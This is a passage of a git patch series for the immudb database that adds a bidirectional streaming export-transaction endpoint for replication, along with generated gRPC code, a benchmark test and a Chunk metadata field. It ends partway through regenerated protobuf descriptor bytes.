immudb.schema.NewTxResponse + 112, // 227: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 134, // 228: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 134, // 229: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 113, // 230: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 231: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 134, // 232: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 233: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 234: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 235: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 236: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 237: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 238: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 239: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 240: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 241: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 242: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 243: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 244: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 245: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 246: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 247: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 248: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 249: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 250: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 251: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 252: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 253: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 254: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 255: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 134, // 256: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 134, // 257: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 258: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 87, // 259: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 89, // 260: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 91, // 261: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 102, // 262: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 104, // 263: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 99, // 264: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 134, // 265: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 266: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 267: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 268: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 93, // 269: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 134, // 270: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 106, // 271: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 272: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 106, // 273: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 274: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 106, // 275: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 106, // 276: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 106, // 277: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 278: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 106, // 279: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 280: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 106, // 281: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk + 111, // 282: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 113, // 283: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 113, // 284: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 113, // 285: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 98, // 286: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 123, // 287: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 216, // [216:288] is the sub-list for method output_type + 144, // [144:216] is the sub-list for method input_type 144, // [144:144] is the sub-list for extension type_name 144, // [144:144] is the sub-list for extension extendee 0, // [0:144] is the sub-list for field type_name diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 1e5cf38f63..4e1517feca 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -1859,6 +1859,8 @@ service ImmuService { rpc replicateTx(stream Chunk) returns (TxHeader) {} + rpc streamExportTx(stream ExportTxRequest) returns (stream Chunk) {} + rpc SQLExec(SQLExecRequest) returns (SQLExecResult) { option (google.api.http) = { post: "/db/sqlexec" diff --git a/pkg/api/schema/schema_grpc.pb.go b/pkg/api/schema/schema_grpc.pb.go index 1dd513cb54..eb661fbf69 100644 --- a/pkg/api/schema/schema_grpc.pb.go +++ b/pkg/api/schema/schema_grpc.pb.go @@ -105,6 +105,7 @@ type ImmuServiceClient interface { // Replication ExportTx(ctx context.Context, in *ExportTxRequest, opts ...grpc.CallOption) (ImmuService_ExportTxClient, error) ReplicateTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_ReplicateTxClient, error) + StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) SQLQuery(ctx context.Context, in *SQLQueryRequest, opts ...grpc.CallOption) (*SQLQueryResult, error) ListTables(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*SQLQueryResult, error) @@ -953,6 +954,37 @@ func (x *immuServiceReplicateTxClient) CloseAndRecv() (*TxHeader, error) { return m, nil } +func (c *immuServiceClient) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (ImmuService_StreamExportTxClient, error) { + stream, err := c.cc.NewStream(ctx, &ImmuService_ServiceDesc.Streams[10], "/immudb.schema.ImmuService/streamExportTx", opts...) + if err != nil { + return nil, err + } + x := &immuServiceStreamExportTxClient{stream} + return x, nil +} + +type ImmuService_StreamExportTxClient interface { + Send(*ExportTxRequest) error + Recv() (*Chunk, error) + grpc.ClientStream +} + +type immuServiceStreamExportTxClient struct { + grpc.ClientStream +} + +func (x *immuServiceStreamExportTxClient) Send(m *ExportTxRequest) error { + return x.ClientStream.SendMsg(m) +} + +func (x *immuServiceStreamExportTxClient) Recv() (*Chunk, error) { + m := new(Chunk) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + func (c *immuServiceClient) SQLExec(ctx context.Context, in *SQLExecRequest, opts ...grpc.CallOption) (*SQLExecResult, error) { out := new(SQLExecResult) err := c.cc.Invoke(ctx, "/immudb.schema.ImmuService/SQLExec", in, out, opts...) @@ -1097,6 +1129,7 @@ type ImmuServiceServer interface { // Replication ExportTx(*ExportTxRequest, ImmuService_ExportTxServer) error ReplicateTx(ImmuService_ReplicateTxServer) error + StreamExportTx(ImmuService_StreamExportTxServer) error SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) SQLQuery(context.Context, *SQLQueryRequest) (*SQLQueryResult, error) ListTables(context.Context, *empty.Empty) (*SQLQueryResult, error) @@ -1304,6 +1337,9 @@ func (UnimplementedImmuServiceServer) ExportTx(*ExportTxRequest, ImmuService_Exp func (UnimplementedImmuServiceServer) ReplicateTx(ImmuService_ReplicateTxServer) error { return status.Errorf(codes.Unimplemented, "method ReplicateTx not implemented") } +func (UnimplementedImmuServiceServer) StreamExportTx(ImmuService_StreamExportTxServer) error { + return status.Errorf(codes.Unimplemented, "method StreamExportTx not implemented") +} func (UnimplementedImmuServiceServer) SQLExec(context.Context, *SQLExecRequest) (*SQLExecResult, error) { return nil, status.Errorf(codes.Unimplemented, "method SQLExec not implemented") } @@ -2554,6 +2590,32 @@ func (x *immuServiceReplicateTxServer) Recv() (*Chunk, error) { return m, nil } +func _ImmuService_StreamExportTx_Handler(srv interface{}, stream grpc.ServerStream) error { + return srv.(ImmuServiceServer).StreamExportTx(&immuServiceStreamExportTxServer{stream}) +} + +type ImmuService_StreamExportTxServer interface { + Send(*Chunk) error + Recv() (*ExportTxRequest, error) + grpc.ServerStream +} + +type immuServiceStreamExportTxServer struct { + grpc.ServerStream +} + +func (x *immuServiceStreamExportTxServer) Send(m *Chunk) error { + return x.ServerStream.SendMsg(m) +} + +func (x *immuServiceStreamExportTxServer) Recv() (*ExportTxRequest, error) { + m := new(ExportTxRequest) + if err := x.ServerStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + func _ImmuService_SQLExec_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(SQLExecRequest) if err := dec(in); err != nil { @@ -2965,6 +3027,12 @@ var ImmuService_ServiceDesc = grpc.ServiceDesc{ Handler: _ImmuService_ReplicateTx_Handler, ClientStreams: true, }, + { + StreamName: "streamExportTx", + Handler: _ImmuService_StreamExportTx_Handler, + ServerStreams: true, + ClientStreams: true, + }, }, Metadata: "schema.proto", } diff --git a/pkg/client/client.go b/pkg/client/client.go index d5e6076e9d..07d80284e5 100644 --- a/pkg/client/client.go +++ b/pkg/client/client.go @@ -476,6 +476,9 @@ type ImmuClient interface { // ReplicateTx sends a previously serialized transaction object replicating it on another database. ReplicateTx(ctx context.Context) (schema.ImmuService_ReplicateTxClient, error) + // StreamExportTx provides a bidirectional endpoint for retrieving serialized transactions + StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (schema.ImmuService_StreamExportTxClient, error) + // SQLExec performs a modifying SQL query within the transaction. // Such query does not return SQL result. SQLExec(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLExecResult, error) @@ -569,6 +572,7 @@ func NewImmuClient(options *Options) (*immuClient, error) { } options.DialOptions = c.SetupDialOptions(options) + if db, err := c.Tkns.GetDatabase(); err == nil && len(db) > 0 { options.CurrentDatabase = db } diff --git a/pkg/client/stream_replication.go b/pkg/client/stream_replication.go index f39d558b11..26222890e6 100644 --- a/pkg/client/stream_replication.go +++ b/pkg/client/stream_replication.go @@ -20,6 +20,7 @@ import ( "context" "github.com/codenotary/immudb/pkg/api/schema" + "google.golang.org/grpc" ) // ExportTx retrieves serialized transaction object. @@ -43,3 +44,11 @@ func (c *immuClient) ReplicateTx(ctx context.Context) (schema.ImmuService_Replic return c.ServiceClient.ReplicateTx(ctx) } + +func (c *immuClient) StreamExportTx(ctx context.Context, opts ...grpc.CallOption) (schema.ImmuService_StreamExportTxClient, error) { + if !c.IsConnected() { + return nil, ErrNotConnected + } + + return c.ServiceClient.StreamExportTx(ctx, opts...) +} diff --git a/pkg/integration/follower_replication_test.go b/pkg/integration/follower_replication_test.go index e4a00f2354..b032bbe761 100644 --- a/pkg/integration/follower_replication_test.go +++ b/pkg/integration/follower_replication_test.go @@ -19,6 +19,8 @@ package integration import ( "context" "encoding/binary" + "errors" + "io" "net" "sync" "testing" @@ -310,6 +312,7 @@ func BenchmarkExportTx(b *testing.B) { WithPgsqlServer(false). WithPort(0). WithMaxRecvMsgSize(204939000). + WithSynced(false). WithDir(b.TempDir()) serverOpts.SessionsOptions.WithMaxSessions(200) @@ -441,8 +444,9 @@ func BenchmarkExportTx(b *testing.B) { for tx := 1; tx <= txsPerReplicator; tx++ { exportTxStream, err := client.ExportTx(context.Background(), &schema.ExportTxRequest{ - Tx: uint64(r*txsPerReplicator + tx), - AllowPreCommitted: false, + Tx: uint64(1 + r*txsPerReplicator + tx), + AllowPreCommitted: false, + SkipIntegrityCheck: true, }) if err != nil { panic(err) @@ -460,3 +464,193 @@ func BenchmarkExportTx(b *testing.B) { wg.Wait() } } + +func BenchmarkStreamExportTx(b *testing.B) { + //init server + serverOpts := server.DefaultOptions(). + WithMetricsServer(false). + WithWebServer(false). + WithPgsqlServer(false). + WithPort(0). + WithMaxRecvMsgSize(204939000). + WithSynced(false). + WithDir(b.TempDir()) + + serverOpts.SessionsOptions.WithMaxSessions(200) + + srv := server.DefaultServer().WithOptions(serverOpts).(*server.ImmuServer) + + err := srv.Initialize() + if err != nil { + panic(err) + } + + go func() { + srv.Start() + }() + + defer func() { + srv.Stop() + }() + + time.Sleep(1 * time.Second) + + // init primary client + port := srv.Listener.Addr().(*net.TCPAddr).Port + + opts := ic.DefaultOptions(). + WithDir(b.TempDir()). + WithPort(port) + + client := ic.NewClient().WithOptions(opts) + + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "defaultdb") + if err != nil { + panic(err) + } + + // create database as primarydb in primary server + _, err = client.CreateDatabaseV2(context.Background(), "db1", &schema.DatabaseNullableSettings{ + MaxConcurrency: &schema.NullableUint32{Value: 200}, + VLogCacheSize: &schema.NullableUint32{Value: 0}, // disable vLogCache + }) + if err != nil { + panic(err) + } + + err = client.CloseSession(context.Background()) + if err != nil { + panic(err) + } + + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") + if err != nil { + panic(err) + } + defer client.CloseSession(context.Background()) + + // commit some transactions + workers := 10 + txsPerWorker := 100 + entriesPerTx := 100 + keyLen := 40 + valLen := 256 + + kvs := make([]*schema.KeyValue, entriesPerTx) + + for i := 0; i < entriesPerTx; i++ { + kvs[i] = &schema.KeyValue{ + Key: make([]byte, keyLen), + Value: make([]byte, valLen), + } + + binary.BigEndian.PutUint64(kvs[i].Key, uint64(i)) + } + + var wg sync.WaitGroup + wg.Add(workers) + + for i := 0; i < workers; i++ { + go func() { + for j := 0; j < txsPerWorker; j++ { + _, err := client.SetAll(context.Background(), &schema.SetRequest{ + KVs: kvs, + }) + if err != nil { + panic(err) + } + } + + wg.Done() + }() + } + + wg.Wait() + + replicators := 1 + txsPerReplicator := workers * txsPerWorker / replicators + + clientReplicators := make([]ic.ImmuClient, replicators) + + for r := 0; r < replicators; r++ { + opts := ic.DefaultOptions(). + WithDir(b.TempDir()). + WithPort(port) + + client := ic.NewClient().WithOptions(opts) + + err = client.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), "db1") + if err != nil { + panic(err) + } + defer client.CloseSession(context.Background()) + + clientReplicators[r] = client + } + + b.ResetTimer() + + // measure exportTx performance + for i := 0; i < b.N; i++ { + var wg sync.WaitGroup + wg.Add(replicators) + + for r := 0; r < replicators; r++ { + go func(r int) { + defer wg.Done() + + client := clientReplicators[r] + + streamExportTxClient, err := client.StreamExportTx(context.Background()) + if err != nil { + panic(err) + } + + streamSrvFactory := stream.NewStreamServiceFactory(opts.StreamChunkSize) + exportTxStreamReceiver := streamSrvFactory.NewMsgReceiver(streamExportTxClient) + + doneCh := make(chan struct{}) + recvTxCount := 0 + + go func() { + for { + _, err := exportTxStreamReceiver.ReadFully() + if errors.Is(err, io.EOF) { + doneCh <- struct{}{} + return + } + if err != nil { + panic(err) + } + + recvTxCount++ + } + }() + + for tx := 1; tx <= txsPerReplicator; tx++ { + err = streamExportTxClient.Send(&schema.ExportTxRequest{ + Tx: uint64(1 + r*txsPerReplicator + tx), + AllowPreCommitted: false, + SkipIntegrityCheck: true, + }) + if err != nil { + panic(err) + } + } + + err = streamExportTxClient.CloseSend() + if err != nil { + panic(err) + } + + <-doneCh + + if recvTxCount != txsPerReplicator { + panic("recvTxCount != txsPerReplicator") + } + }(r) + } + + wg.Wait() + } +} diff --git a/pkg/replication/replicator.go b/pkg/replication/replicator.go index 0ea13e7d65..08fc6ecc39 100644 --- a/pkg/replication/replicator.go +++ b/pkg/replication/replicator.go @@ -64,6 +64,9 @@ type TxReplicator struct { streamSrvFactory stream.ServiceFactory + exportTxStream schema.ImmuService_StreamExportTxClient + exportTxStreamReceiver stream.MsgReceiver + lastTx uint64 prefetchTxBuffer chan prefetchTxEntry // buffered channel of exported txs @@ -274,6 +277,13 @@ func (txr *TxReplicator) connect() error { txr.opts.primaryPort, txr.db.GetName()) + txr.exportTxStream, err = txr.client.StreamExportTx(txr.context) + if err != nil { + return err + } + + txr.exportTxStreamReceiver = txr.streamSrvFactory.NewMsgReceiver(txr.exportTxStream) + return nil } @@ -284,6 +294,10 @@ func (txr *TxReplicator) disconnect() { txr.logger.Infof("Disconnecting from '%s':'%d' for database '%s'...", txr.opts.primaryHost, txr.opts.primaryPort, txr.db.GetName()) + if txr.exportTxStream != nil { + txr.exportTxStream.CloseSend() + } + txr.client.CloseSession(txr.context) txr.client = nil @@ -331,18 +345,19 @@ func (txr *TxReplicator) fetchNextTx() error { } } - exportTxStream, err := txr.client.ExportTx(txr.context, &schema.ExportTxRequest{ + req := &schema.ExportTxRequest{ Tx: nextTx, ReplicaState: state, AllowPreCommitted: syncReplicationEnabled, SkipIntegrityCheck: txr.skipIntegrityCheck, - }) + } if err != nil { return err } - receiver := txr.streamSrvFactory.NewMsgReceiver(exportTxStream) - etx, err := receiver.ReadFully() + txr.exportTxStream.Send(req) + + etx, err := txr.exportTxStreamReceiver.ReadFully() if err != nil && !errors.Is(err, io.EOF) { if strings.Contains(err.Error(), "commit state diverged from") { @@ -375,7 +390,7 @@ func (txr *TxReplicator) fetchNextTx() error { } if syncReplicationEnabled { - md := exportTxStream.Trailer() + md := txr.exportTxStream.Trailer() if len(md.Get("may-commit-up-to-txid-bin")) == 0 || len(md.Get("may-commit-up-to-alh-bin")) == 0 || diff --git a/pkg/server/servertest/server_mock.go b/pkg/server/servertest/server_mock.go index 12fc437b44..dd6cf4d7f1 100644 --- a/pkg/server/servertest/server_mock.go +++ b/pkg/server/servertest/server_mock.go @@ -116,6 +116,10 @@ func (s *ServerMock) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT return s.Srv.ReplicateTx(replicateTxServer) } +func (s *ServerMock) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { + return s.Srv.StreamExportTx(stream) +} + func (s *ServerMock) ListUsers(ctx context.Context, req *empty.Empty) (*schema.UserList, error) { return s.Srv.ListUsers(ctx, req) } diff --git a/pkg/server/stream_replication.go b/pkg/server/stream_replication.go index e091d265ae..3a16d74002 100644 --- a/pkg/server/stream_replication.go +++ b/pkg/server/stream_replication.go @@ -19,6 +19,7 @@ package server import ( "bytes" "encoding/binary" + "io" "strconv" "github.com/codenotary/immudb/pkg/api/schema" @@ -126,3 +127,20 @@ func (s *ImmuServer) ReplicateTx(replicateTxServer schema.ImmuService_ReplicateT return replicateTxServer.SendAndClose(hdr) } + +func (s *ImmuServer) StreamExportTx(stream schema.ImmuService_StreamExportTxServer) error { + for { + req, err := stream.Recv() + if err == io.EOF { + return nil + } + if err != nil { + return err + } + + err = s.ExportTx(req, stream) + if err != nil { + return err + } + } +} From a4261d714331e81e3a7d031bd77db0b924dcdd46 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Tue, 31 Jan 2023 18:07:14 -0300 Subject: [PATCH 0214/1062] chore(pkg/database): upgrade after rebasing Signed-off-by: Jeronimo Irazabal --- pkg/database/database.go | 4 ---- 1 file changed, 4 deletions(-) diff --git a/pkg/database/database.go b/pkg/database/database.go index a331d9ce61..aee7a10eb5 100644 --- a/pkg/database/database.go +++ b/pkg/database/database.go @@ -1319,11 +1319,7 @@ func (d *db) ReplicateTx(ctx context.Context, exportedTx []byte, skipIntegrityCh return nil, ErrNotReplica } -<<<<<<< HEAD hdr, err := d.st.ReplicateTx(ctx, exportedTx, skipIntegrityCheck, waitForIndexing) -======= - hdr, err := d.st.ReplicateTx(ctx, exportedTx, true, false) ->>>>>>> 51dfa473 (chore(embedded/store): validate Eh only when integrity checks are not disabled) if err != nil { return nil, err } From 7c65624d750ee426a976390f5df7b24a6817205a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Thu, 2 Feb 2023 18:25:52 -0300 Subject: [PATCH 0215/1062] chore(pkg/replication): replicator using bidirectional streaming Signed-off-by: Jeronimo Irazabal --- pkg/api/schema/docs.md | 18 + pkg/api/schema/schema.pb.go | 1478 +++++++++--------- pkg/api/schema/schema.proto | 1 + pkg/api/schema/schema.swagger.json | 7 + pkg/client/streams.go | 11 +- pkg/integration/follower_replication_test.go | 24 +- pkg/integration/stream/stream_test.go | 11 +- pkg/replication/replicator.go | 29 +- pkg/server/stream_replication.go | 53 +- pkg/stream/errors.go | 8 - pkg/stream/execall_sender.go | 6 +- pkg/stream/execall_sender_test.go | 8 +- pkg/stream/kvsender.go | 15 +- pkg/stream/kvsender_test.go | 9 +- pkg/stream/receiver.go | 32 +- pkg/stream/receiver_test.go | 12 +- pkg/stream/sender.go | 119 +- pkg/stream/sender_test.go | 20 +- pkg/stream/streamtest/sender.go | 8 +- pkg/stream/ventrysender.go | 10 +- pkg/stream/ventrysender_test.go | 2 +- pkg/stream/zsender.go | 13 +- pkg/stream/zsender_test.go | 12 +- 23 files changed, 966 insertions(+), 940 deletions(-) diff --git a/pkg/api/schema/docs.md b/pkg/api/schema/docs.md index f0a90f699a..fae977b465 100644 --- a/pkg/api/schema/docs.md +++ b/pkg/api/schema/docs.md @@ -9,6 +9,7 @@ - [ChangePasswordRequest](#immudb.schema.ChangePasswordRequest) - [ChangePermissionRequest](#immudb.schema.ChangePermissionRequest) - [Chunk](#immudb.schema.Chunk) + - [Chunk.MetadataEntry](#immudb.schema.Chunk.MetadataEntry) - [Column](#immudb.schema.Column) - [CommittedSQLTx](#immudb.schema.CommittedSQLTx) - [CommittedSQLTx.FirstInsertedPKsEntry](#immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry) @@ -227,6 +228,23 @@ DEPRECATED | Field | Type | Label | Description | | ----- | ---- | ----- | ----------- | | content | [bytes](#bytes) | | | +| metadata | [Chunk.MetadataEntry](#immudb.schema.Chunk.MetadataEntry) | repeated | | + + + + + + + + +### Chunk.MetadataEntry + + + +| Field | Type | Label | Description | +| ----- | ---- | ----- | ----------- | +| key | [string](#string) | | | +| value | [bytes](#bytes) | | | diff --git a/pkg/api/schema/schema.pb.go b/pkg/api/schema/schema.pb.go index 9d444d7d23..f379f3624d 100644 --- a/pkg/api/schema/schema.pb.go +++ b/pkg/api/schema/schema.pb.go @@ -7335,7 +7335,8 @@ type Chunk struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Content []byte `protobuf:"bytes,1,opt,name=content,proto3" json:"content,omitempty"` + Content []byte `protobuf:"bytes,1,opt,name=content,proto3" json:"content,omitempty"` + Metadata map[string][]byte `protobuf:"bytes,2,rep,name=metadata,proto3" json:"metadata,omitempty" protobuf_key:"bytes,1,opt,name=key,proto3" protobuf_val:"bytes,2,opt,name=value,proto3"` } func (x *Chunk) Reset() { @@ -7377,6 +7378,13 @@ func (x *Chunk) GetContent() []byte { return nil } +func (x *Chunk) GetMetadata() map[string][]byte { + if x != nil { + return x.Metadata + } + return nil +} + type UseSnapshotRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -9655,587 +9663,595 @@ var file_schema_proto_rawDesc = []byte{ 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x21, 0x0a, 0x05, 0x43, 0x68, 0x75, - 0x6e, 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x22, 0x4e, 0x0a, 0x12, - 0x55, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, - 0x73, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x04, 0x52, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, - 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, - 0x52, 0x0a, 0x61, 0x73, 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, - 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, - 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, - 0x61, 0x6d, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, - 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, - 0x0a, 0x03, 0x73, 0x71, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, - 0x12, 0x31, 0x0a, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, - 0x61, 0x6d, 0x73, 0x12, 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, - 0x73, 0x68, 0x6f, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, - 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, - 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, - 0x4c, 0x45, 0x78, 0x65, 0x63, 0x52, 0x65, 0x73, 